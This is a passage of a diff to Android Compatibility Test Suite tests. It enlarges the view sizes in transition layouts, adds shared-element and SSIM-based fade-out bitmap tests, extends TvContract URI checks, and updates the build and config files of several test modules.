+ android:layout_height="30dp"
android:background="#0F0"
android:layout_toRightOf="@id/blackSquare"
android:id="@+id/greenSquare"/>
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#00F"
android:layout_toRightOf="@id/greenSquare"
android:id="@+id/blueSquare"/>
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#FF0"
android:layout_toRightOf="@id/blueSquare"
android:id="@+id/yellowSquare"/>
diff --git a/tests/tests/transition/res/layout/scene14.xml b/tests/tests/transition/res/layout/scene14.xml
new file mode 100644
index 0000000..2ccf8bb
--- /dev/null
+++ b/tests/tests/transition/res/layout/scene14.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<RelativeLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:transitionName="holder"
+ android:id="@+id/holder">
+ <ImageView
+ android:id="@+id/redSquare"
+ android:src="#F00"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
+ android:visibility="gone"/>
+</RelativeLayout>
diff --git a/tests/tests/transition/res/layout/scene2.xml b/tests/tests/transition/res/layout/scene2.xml
index 541ec04..9e92801 100644
--- a/tests/tests/transition/res/layout/scene2.xml
+++ b/tests/tests/transition/res/layout/scene2.xml
@@ -19,13 +19,13 @@
android:layout_height="match_parent"
android:transitionName="holder"
android:id="@+id/holder">
- <View android:layout_width="10dp"
- android:layout_height="10dp"
+ <View android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#0F0"
android:transitionName="green"
android:id="@+id/greenSquare" />
- <View android:layout_width="10dp"
- android:layout_height="10dp"
+ <View android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#F00"
android:transitionName="red"
android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene3.xml b/tests/tests/transition/res/layout/scene3.xml
index 01fb78d..08c98a3 100644
--- a/tests/tests/transition/res/layout/scene3.xml
+++ b/tests/tests/transition/res/layout/scene3.xml
@@ -18,12 +18,12 @@
android:layout_width="match_parent"
android:layout_height="match_parent"
android:id="@+id/holder">
- <View android:layout_width="10dp"
- android:layout_height="10dp"
+ <View android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#0F0"
android:id="@+id/greenSquare" />
- <View android:layout_width="10dp"
- android:layout_height="10dp"
+ <View android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#F00"
android:id="@+id/redSquare"
android:layout_toRightOf="@+id/greenSquare" />
diff --git a/tests/tests/transition/res/layout/scene6.xml b/tests/tests/transition/res/layout/scene6.xml
index 8cffee5..e3a010b 100644
--- a/tests/tests/transition/res/layout/scene6.xml
+++ b/tests/tests/transition/res/layout/scene6.xml
@@ -19,13 +19,13 @@
android:layout_height="match_parent"
android:transitionName="holder"
android:id="@+id/holder">
- <View android:layout_width="30dp"
- android:layout_height="30dp"
+ <View android:layout_width="50dp"
+ android:layout_height="50dp"
android:background="#0F0"
android:transitionName="green"
android:id="@+id/greenSquare" />
- <View android:layout_width="30dp"
- android:layout_height="30dp"
+ <View android:layout_width="50dp"
+ android:layout_height="50dp"
android:background="#F00"
android:transitionName="red"
android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene7.xml b/tests/tests/transition/res/layout/scene7.xml
index 72c74e8..d91b959 100644
--- a/tests/tests/transition/res/layout/scene7.xml
+++ b/tests/tests/transition/res/layout/scene7.xml
@@ -19,8 +19,8 @@
android:layout_height="match_parent"
android:transitionName="holder"
android:id="@+id/holder">
- <View android:layout_width="10dp"
- android:layout_height="10dp"
+ <View android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#0F0"
android:transitionName="green"
android:id="@+id/greenSquare" />
diff --git a/tests/tests/transition/res/layout/scene8.xml b/tests/tests/transition/res/layout/scene8.xml
index 69674ee..5b5c574 100644
--- a/tests/tests/transition/res/layout/scene8.xml
+++ b/tests/tests/transition/res/layout/scene8.xml
@@ -19,13 +19,13 @@
android:layout_height="match_parent"
android:transitionName="holder"
android:id="@+id/holder">
- <View android:layout_width="10dp"
- android:layout_height="10dp"
+ <View android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#F00"
android:transitionName="red"
android:id="@+id/greenSquare" />
- <View android:layout_width="10dp"
- android:layout_height="10dp"
+ <View android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#0F0"
android:transitionName="green"
android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene9.xml b/tests/tests/transition/res/layout/scene9.xml
index 2eb3762..66e1be3 100644
--- a/tests/tests/transition/res/layout/scene9.xml
+++ b/tests/tests/transition/res/layout/scene9.xml
@@ -20,7 +20,7 @@
android:transitionName="holder"
android:id="@+id/holder">
<FrameLayout
- android:layout_marginTop="50dp"
+ android:layout_marginTop="70dp"
android:layout_width="wrap_content"
android:layout_height="wrap_content">
<TextView
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 889dc59..6c4de33 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -28,7 +28,11 @@
import static org.mockito.Mockito.verify;
import android.app.ActivityOptions;
+import android.app.SharedElementCallback;
import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
@@ -48,6 +52,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.List;
import java.util.Set;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -418,6 +423,53 @@
TargetActivity.sLastCreated = null;
}
+ // Ensure that the shared element view copy is the correct image of the shared element view
+ // source
+ @Test
+ public void sharedElementCopied() throws Throwable {
+ enterScene(R.layout.scene1);
+
+ mActivityRule.runOnUiThread(() -> {
+ View sharedElement = mActivity.findViewById(R.id.redSquare);
+ Bundle options = ActivityOptions.makeSceneTransitionAnimation(mActivity,
+ sharedElement, "red").toBundle();
+ Intent intent = new Intent(mActivity, TargetActivity.class);
+ intent.putExtra(TargetActivity.EXTRA_LAYOUT_ID, R.layout.scene2);
+ mActivity.startActivity(intent, options);
+ });
+
+ TargetActivity targetActivity = waitForTargetActivity();
+ verify(targetActivity.enterListener, within(3000)).onTransitionEnd(any());
+ verify(mExitListener, times(1)).onTransitionEnd(any());
+
+ final CountDownLatch startCalled = new CountDownLatch(1);
+ final SharedElementCallback sharedElementCallback = new SharedElementCallback() {
+ @Override
+ public void onSharedElementStart(List<String> sharedElementNames,
+ List<View> sharedElements,
+ List<View> sharedElementSnapshots) {
+ int index = sharedElementNames.indexOf("red");
+ View sharedElement = sharedElementSnapshots.get(index);
+ Drawable backgroundDrawable = sharedElement.getBackground();
+ BitmapDrawable bitmapDrawable = (BitmapDrawable) backgroundDrawable;
+ Bitmap bitmap = bitmapDrawable.getBitmap();
+ Bitmap copy = bitmap.copy(Bitmap.Config.ARGB_8888, false);
+ assertEquals(0xFFFF0000, copy.getPixel(1, 1));
+ startCalled.countDown();
+ super.onSharedElementStart(sharedElementNames, sharedElements,
+ sharedElementSnapshots);
+ }
+ };
+
+ mActivity.setExitSharedElementCallback(sharedElementCallback);
+ mActivityRule.runOnUiThread(() -> targetActivity.finishAfterTransition());
+
+ // Should only take a short time, but there's no need to rush it on failure.
+ assertTrue(startCalled.await(5, TimeUnit.SECONDS));
+
+ TargetActivity.sLastCreated = null;
+ }
+
private TargetActivity waitForTargetActivity() throws Throwable {
PollingCheck.waitFor(() -> TargetActivity.sLastCreated != null);
// Just make sure that we're not in the middle of running on the UI thread.
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
index d11051f..397b010 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
@@ -43,8 +43,8 @@
@MediumTest
@RunWith(AndroidJUnit4.class)
public class ChangeBoundsTest extends BaseTransitionTest {
- private static final int SMALL_SQUARE_SIZE_DP = 10;
- private static final int LARGE_SQUARE_SIZE_DP = 30;
+ private static final int SMALL_SQUARE_SIZE_DP = 30;
+ private static final int LARGE_SQUARE_SIZE_DP = 50;
private static final int SMALL_OFFSET_DP = 2;
ChangeBounds mChangeBounds;
@@ -325,21 +325,27 @@
width = view.getWidth();
height = view.getHeight();
}
- validateDim(name, "width", dimensions.x, width);
- validateDim(name, "height", dimensions.y, height);
- dimensions.set(width, height);
+ int newWidth = validateDim(name, "width", dimensions.x, width);
+ int newHeight = validateDim(name, "height", dimensions.y, height);
+ dimensions.set(newWidth, newHeight);
}
- private void validateDim(String name, String dimen, int lastDim, int newDim) {
+ private int validateDim(String name, String dimen, int lastDim, int newDim) {
+ int dim = newDim;
if (lastDim != -1) {
+ // We must give a pixel's buffer because the top-left and
+ // bottom-right may move independently, causing a rounding error
+ // in size change.
if (mGrow) {
assertTrue(name + " new " + dimen + " " + newDim
+ " is less than previous " + lastDim,
- newDim >= lastDim);
+ newDim >= lastDim - 1);
+ dim = Math.max(lastDim, newDim);
} else {
assertTrue(name + " new " + dimen + " " + newDim
+ " is more than previous " + lastDim,
- newDim <= lastDim);
+ newDim <= lastDim + 1);
+ dim = Math.min(lastDim, newDim);
}
if (newDim != lastDim) {
mDidChangeSize = true;
@@ -349,6 +355,7 @@
newDim <= mMax);
assertTrue(name + " " + dimen + " " + newDim + " must be >= " + mMin,
newDim >= mMin);
+ return dim;
}
@Override
diff --git a/tests/tests/transition/src/android/transition/cts/FadeTest.java b/tests/tests/transition/src/android/transition/cts/FadeTest.java
index 22a6039..fe93d1b 100644
--- a/tests/tests/transition/src/android/transition/cts/FadeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/FadeTest.java
@@ -15,18 +15,37 @@
*/
package android.transition.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Matchers.any;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
+import android.animation.Animator;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.BitmapDrawable;
import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
import android.transition.Fade;
+import android.transition.Transition;
+import android.transition.TransitionListenerAdapter;
+import android.transition.TransitionManager;
+import android.transition.TransitionValues;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import android.widget.ImageView;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
/**
* This tests the public API for Fade. The alpha cannot be easily tested as part of CTS,
* so those are implementation tests.
@@ -34,6 +53,12 @@
@MediumTest
@RunWith(AndroidJUnit4.class)
public class FadeTest extends BaseTransitionTest {
+ private static final int WINDOW_SIZE = 10;
+ public static final double CONSTANT_L = 254;
+ public static final double CONSTANT_K1 = 0.00001;
+ public static final double CONSTANT_K2 = 0.00003;
+ public static final double CONSTANT_C1 = Math.pow(CONSTANT_L * CONSTANT_K1, 2);
+ public static final double CONSTANT_C2 = Math.pow(CONSTANT_L * CONSTANT_K2, 2);
Fade mFade;
@Override
@@ -89,5 +114,187 @@
verify(mListener, never()).onTransitionEnd(any());
waitForEnd(400);
}
+
+ @Test
+ public void testFadeOut() throws Throwable {
+ enterScene(R.layout.scene4);
+ }
+
+ @Test
+ public void testFadeOutTransition() throws Throwable {
+ enterScene(R.layout.scene1);
+
+ final View redSquare = mActivity.findViewById(R.id.redSquare);
+ final Bitmap redSquareBitmap = createViewBitmap(redSquare);
+ final FrameLayout container = new FrameLayout(mActivity);
+ final ViewGroup sceneRoot = mActivity.findViewById(R.id.holder);
+
+ final int startWidth = redSquare.getWidth();
+ final int startHeight = redSquare.getHeight();
+
+ final CountDownLatch onDisappearCalled = new CountDownLatch(1);
+
+ Fade fadeOut = new Fade(Fade.MODE_OUT) {
+ @Override
+ public Animator onDisappear(ViewGroup sceneRoot, View view,
+ TransitionValues startValues,
+ TransitionValues endValues) {
+ assertNotSame(view, redSquare);
+ assertEquals(startWidth, view.getWidth());
+ assertEquals(startHeight, view.getHeight());
+ assertTrue(view instanceof ImageView);
+ ImageView imageView = (ImageView) view;
+ BitmapDrawable bitmapDrawable = (BitmapDrawable) imageView.getDrawable();
+ Bitmap bitmap = bitmapDrawable.getBitmap();
+ Bitmap copy = bitmap.copy(Bitmap.Config.ARGB_8888, false);
+ Bitmap expected = redSquareBitmap.copy(Bitmap.Config.ARGB_8888, false);
+ verifySimilar(expected, copy, 0.95);
+ onDisappearCalled.countDown();
+ return super.onDisappear(sceneRoot, view, startValues, endValues);
+ }
+ };
+ fadeOut.setDuration(20);
+
+ final CountDownLatch endLatch = new CountDownLatch(1);
+ fadeOut.addListener(new TransitionListenerAdapter() {
+ @Override
+ public void onTransitionEnd(Transition transition) {
+ endLatch.countDown();
+ }
+ });
+
+
+ mActivityRule.runOnUiThread(() -> {
+ TransitionManager.beginDelayedTransition(sceneRoot, fadeOut);
+ sceneRoot.removeView(redSquare);
+ container.addView(redSquare);
+ });
+
+ // Should only take 20ms, but no need to rush here
+ assertTrue(endLatch.await(1, TimeUnit.SECONDS));
+ assertTrue(onDisappearCalled.await(0, TimeUnit.SECONDS));
+ }
+
+ private Bitmap createViewBitmap(View view) {
+ int bitmapWidth = view.getWidth();
+ int bitmapHeight = view.getHeight();
+ Bitmap bitmap = Bitmap.createBitmap(bitmapWidth, bitmapHeight, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(bitmap);
+ view.draw(canvas);
+ return bitmap;
+ }
+
+ /**
+ * From {@link android.uirendering.cts.bitmapcomparers.MSSIMComparer}
+ */
+ private static void verifySimilar(Bitmap expected, Bitmap real, double threshold) {
+ assertEquals(expected.getWidth(), real.getWidth());
+ assertEquals(expected.getHeight(), real.getHeight());
+
+ double ssimTotal = 0;
+ int windows = 0;
+
+ for (int y = 0; y < expected.getHeight(); y += WINDOW_SIZE) {
+ y = Math.min(y, expected.getHeight() - WINDOW_SIZE);
+
+ for (int x = 0; x < expected.getWidth(); x += WINDOW_SIZE) {
+ x = Math.min(x, expected.getWidth() - WINDOW_SIZE);
+
+ if (isWindowWhite(expected, x, y) && isWindowWhite(real, x, y)) {
+ continue;
+ }
+ windows++;
+ double[] means = getMeans(expected, real, x, y);
+ double meanX = means[0];
+ double meanY = means[1];
+ double[] variances = getVariances(expected, real, meanX, meanY, x, y);
+ double varX = variances[0];
+ double varY = variances[1];
+ double stdBoth = variances[2];
+ double ssim = ssim(meanX, meanY, varX, varY, stdBoth);
+ ssimTotal += ssim;
+ }
+ }
+ assertTrue(ssimTotal >= threshold);
+ }
+
+ /**
+ * This method will find the mean of a window in both sets of pixels. The return is an array
+ * where the first double is the mean of the first set and the second double is the mean of the
+ * second set.
+ */
+ private static double[] getMeans(Bitmap bitmap1, Bitmap bitmap2, int xStart, int yStart) {
+ double avg0 = 0;
+ double avg1 = 0;
+ for (int y = 0; y < WINDOW_SIZE; y++) {
+ for (int x = 0; x < WINDOW_SIZE; x++) {
+ avg0 += getIntensity(bitmap1.getPixel(xStart + x, yStart + y));
+ avg1 += getIntensity(bitmap2.getPixel(xStart + x, yStart + y));
+ }
+ }
+ avg0 /= WINDOW_SIZE * WINDOW_SIZE;
+ avg1 /= WINDOW_SIZE * WINDOW_SIZE;
+ return new double[]{avg0, avg1};
+ }
+
+ /**
+ * Finds the variance of the two sets of pixels, as well as the covariance of the windows. The
+ * return value is an array of doubles, the first is the variance of the first set of pixels,
+ * the second is the variance of the second set of pixels, and the third is the covariance.
+ */
+ private static double[] getVariances(Bitmap bitmap1, Bitmap bitmap2, double mean0, double mean1,
+ int xStart, int yStart) {
+ double var0 = 0;
+ double var1 = 0;
+ double varBoth = 0;
+ for (int y = 0; y < WINDOW_SIZE; y++) {
+ for (int x = 0; x < WINDOW_SIZE; x++) {
+ double v0 = getIntensity(bitmap1.getPixel(xStart + x, yStart + y)) - mean0;
+ double v1 = getIntensity(bitmap2.getPixel(xStart + x, yStart + y)) - mean1;
+ var0 += v0 * v0;
+ var1 += v1 * v1;
+ varBoth += v0 * v1;
+ }
+ }
+ var0 /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+ var1 /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+ varBoth /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+ return new double[]{var0, var1, varBoth};
+ }
+
+ /**
+ * Gets the intensity of a given pixel in RGB using luminosity formula
+ *
+ * l = 0.21R' + 0.72G' + 0.07B'
+ *
+ * The prime symbols dictate a gamma correction of 1.
+ */
+ private static double getIntensity(int pixel) {
+ final double gamma = 1;
+ double l = 0;
+ l += (0.21f * Math.pow(Color.red(pixel) / 255f, gamma));
+ l += (0.72f * Math.pow(Color.green(pixel) / 255f, gamma));
+ l += (0.07f * Math.pow(Color.blue(pixel) / 255f, gamma));
+ return l;
+ }
+
+ private static boolean isWindowWhite(Bitmap bitmap, int xStart, int yStart) {
+ for (int y = 0; y < WINDOW_SIZE; y++) {
+ for (int x = 0; x < WINDOW_SIZE; x++) {
+ if (bitmap.getPixel(xStart + x, yStart + y) != Color.WHITE) {
+ return false;
+ }
+ }
+ }
+ return true;
+ }
+
+ private static double ssim(double muX, double muY, double sigX, double sigY, double sigXY) {
+ double ssim = (((2 * muX * muY) + CONSTANT_C1) * ((2 * sigXY) + CONSTANT_C2));
+ double denom = ((muX * muX) + (muY * muY) + CONSTANT_C1)
+ * (sigX + sigY + CONSTANT_C2);
+ ssim /= denom;
+ return ssim;
+ }
}
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionTest.java b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
index 9ba201a..ad819fd 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
@@ -566,7 +566,7 @@
startTransition(R.layout.scene8);
// scene 8 swaps the ids, but not the names. No transition should happen.
- waitForEnd(0);
+ waitForEnd(1000);
// now change the match order to prefer the id
mTransition.setMatchOrder(new int[] {Transition.MATCH_ID, Transition.MATCH_NAME});
diff --git a/tests/tests/tv/Android.mk b/tests/tests/tv/Android.mk
index 640e16e..30429d3 100644
--- a/tests/tests/tv/Android.mk
+++ b/tests/tests/tv/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/tv/AndroidTest.xml b/tests/tests/tv/AndroidTest.xml
index 8068c72..99cafd9 100644
--- a/tests/tests/tv/AndroidTest.xml
+++ b/tests/tests/tv/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS TV test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="tv" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 140e262..27c388a 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -991,9 +991,12 @@
verifyOverlap(programStartMillis - hour, programStartMillis - hour / 2, 0,
channelId, channelUri);
- // Non-overlap 2: starts too late
+ // Non-overlap 2: starts too late.
verifyOverlap(programEndMillis + hour, programEndMillis + hour * 2, 0,
channelId, channelUri);
+
+ // Non-overlap 3: invalid start and end times.
+ verifyOverlap(programEndMillis, programStartMillis, 0, channelId, channelUri);
}
private void verifyRecordedProgram(Uri recordedProgramUri, ContentValues expectedValues,
@@ -1428,29 +1431,41 @@
final Uri CHANNEL_URI_FOR_PASSTHROUGH_INPUT =
TvContract.buildChannelUriForPassthroughInput("inputId");
final Uri PROGRAM_URI = TvContract.buildProgramUri(0);
+ final Uri RECORDED_PROGRAM_URI = TvContract.buildRecordedProgramUri(0);
// Test isChannelUri
assertTrue(TvContract.isChannelUri(CHANNEL_URI_FOR_TUNER));
assertTrue(TvContract.isChannelUri(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
assertFalse(TvContract.isChannelUri(PROGRAM_URI));
+ assertFalse(TvContract.isChannelUri(RECORDED_PROGRAM_URI));
assertFalse(TvContract.isChannelUri(null));
// Test isChannelUriForPassthroughInput
assertFalse(TvContract.isChannelUriForPassthroughInput(CHANNEL_URI_FOR_TUNER));
assertTrue(TvContract.isChannelUriForPassthroughInput(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
assertFalse(TvContract.isChannelUriForPassthroughInput(PROGRAM_URI));
+ assertFalse(TvContract.isChannelUriForPassthroughInput(RECORDED_PROGRAM_URI));
assertFalse(TvContract.isChannelUriForPassthroughInput(null));
// Test isChannelUriForTunerInput
assertTrue(TvContract.isChannelUriForTunerInput(CHANNEL_URI_FOR_TUNER));
assertFalse(TvContract.isChannelUriForTunerInput(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
assertFalse(TvContract.isChannelUriForTunerInput(PROGRAM_URI));
+ assertFalse(TvContract.isChannelUriForTunerInput(RECORDED_PROGRAM_URI));
assertFalse(TvContract.isChannelUriForTunerInput(null));
// Test isProgramUri
assertFalse(TvContract.isProgramUri(CHANNEL_URI_FOR_TUNER));
assertFalse(TvContract.isProgramUri(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
assertTrue(TvContract.isProgramUri(PROGRAM_URI));
+ assertFalse(TvContract.isProgramUri(RECORDED_PROGRAM_URI));
assertFalse(TvContract.isProgramUri(null));
+
+ // Test isRecordedProgramUri
+ assertFalse(TvContract.isRecordedProgramUri(CHANNEL_URI_FOR_TUNER));
+ assertFalse(TvContract.isRecordedProgramUri(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
+ assertFalse(TvContract.isRecordedProgramUri(PROGRAM_URI));
+ assertTrue(TvContract.isRecordedProgramUri(RECORDED_PROGRAM_URI));
+ assertFalse(TvContract.isRecordedProgramUri(null));
}
}
diff --git a/tests/tests/uiautomation/Android.mk b/tests/tests/uiautomation/Android.mk
index c595635..eb6ed68 100644
--- a/tests/tests/uiautomation/Android.mk
+++ b/tests/tests/uiautomation/Android.mk
@@ -21,9 +21,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/uidisolation/Android.mk b/tests/tests/uidisolation/Android.mk
index 08b9646..e9ee3e9 100644
--- a/tests/tests/uidisolation/Android.mk
+++ b/tests/tests/uidisolation/Android.mk
@@ -22,9 +22,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver legacy-android-test
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
diff --git a/tests/tests/uidisolation/AndroidTest.xml b/tests/tests/uidisolation/AndroidTest.xml
index e26c721..02df495 100644
--- a/tests/tests/uidisolation/AndroidTest.xml
+++ b/tests/tests/uidisolation/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS UID Isolation test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsUidIsolationTestCases.apk" />
diff --git a/tests/tests/uirendering/Android.mk b/tests/tests/uirendering/Android.mk
index 52d8580..9cc07b9 100644
--- a/tests/tests/uirendering/Android.mk
+++ b/tests/tests/uirendering/Android.mk
@@ -22,12 +22,13 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES := android.test.runner
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util \
+ ctsdeviceutillegacy \
ctstestrunner \
mockito-target-minus-junit4 \
android-support-test \
diff --git a/tests/tests/uirendering/AndroidTest.xml b/tests/tests/uirendering/AndroidTest.xml
index 4a4f194..b8855b1 100644
--- a/tests/tests/uirendering/AndroidTest.xml
+++ b/tests/tests/uirendering/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS UI Rendering test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/uirendering/assets/wide-gamut-test.png b/tests/tests/uirendering/assets/wide-gamut-test.png
new file mode 100644
index 0000000..ba8dbcf
--- /dev/null
+++ b/tests/tests/uirendering/assets/wide-gamut-test.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable/bitmap_density.xml b/tests/tests/uirendering/res/drawable/bitmap_density.xml
new file mode 100644
index 0000000..04d6125
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/bitmap_density.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
+ android:src="@drawable/icon_blue" />
diff --git a/tests/tests/uirendering/res/drawable/bitmap_shader_am_density.xml b/tests/tests/uirendering/res/drawable/bitmap_shader_am_density.xml
new file mode 100644
index 0000000..9c28199
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/bitmap_shader_am_density.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
+ android:src="@drawable/icon_blue"
+ android:tileModeX="repeat"
+ android:tileModeY="clamp"
+ android:autoMirrored="true" />
diff --git a/tests/tests/uirendering/res/drawable/bitmap_shader_density.xml b/tests/tests/uirendering/res/drawable/bitmap_shader_density.xml
new file mode 100644
index 0000000..216874e
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/bitmap_shader_density.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
+ android:src="@drawable/icon_blue"
+ android:tileModeX="repeat"
+ android:tileModeY="clamp" />
diff --git a/tests/tests/uirendering/res/drawable/icon_blue.jpg b/tests/tests/uirendering/res/drawable/icon_blue.jpg
new file mode 100644
index 0000000..9e6c1c8
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/icon_blue.jpg
Binary files differ
